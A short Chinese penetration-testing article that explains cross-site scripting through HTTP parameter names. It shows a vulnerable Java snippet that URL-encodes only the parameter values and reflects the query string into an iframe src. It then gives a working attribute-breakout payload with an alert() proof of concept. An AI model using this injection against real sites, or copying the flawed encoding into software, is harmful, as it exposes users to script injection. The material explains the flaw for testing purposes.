在测试web应用漏洞的时候,通常渗透师会尝试找出所有输入点,如cookie、POST\GET参数、HTTP头等,发现之后在这些部分注入恶意数据,如下:

Cookie: --attack freebuf string--
name= --attack freebuf string--
uri?name= --attack freebu string--

普通渗透屌丝都会在接受参数的值里面输入测试字符,但是很少对参数的名称进行测试,我们来看一段代码了解以下如何利用参数的名称来输入恶意代码:

java.util.Enumeration e = request.getParameterNames();
    if (e.hasMoreElements()) {
        String name = (String)e.nextElement();
        String value = request.getParameter(name);
        qs= name+"="+java.net.URLEncoder.encode(value,"utf-8");
        while (e.hasMoreElements()) {
            name = (String)e.nextElement();
            value = request.getParameter(name);
            qs += "&"+name+"="+java.net.URLEncoder.encode(value,"utf-8");
        }
    }

注意这句

qs += "&"+name+"="+java.net.URLEncoder.encode(value,"utf-8");

只有参数的值进行了URLEncoder编码

查询字符串连接在了iframe的SRC属性,输出如下

<iframe src="xxxx.com?search.aspx?<%=qs%>

ok,我们可以来尝试下在参数的名称里面输入XSS代码,如下:

%22%20onmouseover%3d"alert(1111)">%20DANUX</iframe> <iframe a%3D"= 

在浏览器里输出如下:

<iframe src="xxxx.com?search.aspx?" onmouseover="alert(1111)">DANUX</iframe> <iframe a=""></iframe>

可以看到HTML正常闭合,导致XSS代码成功执行,如前所述,至少我现在发现在各扫描器里面未发现如上测试的方法。

以下为WebInspect 9.X扫描的结果,没有测试参数的名称。

源链接

Hacking more

...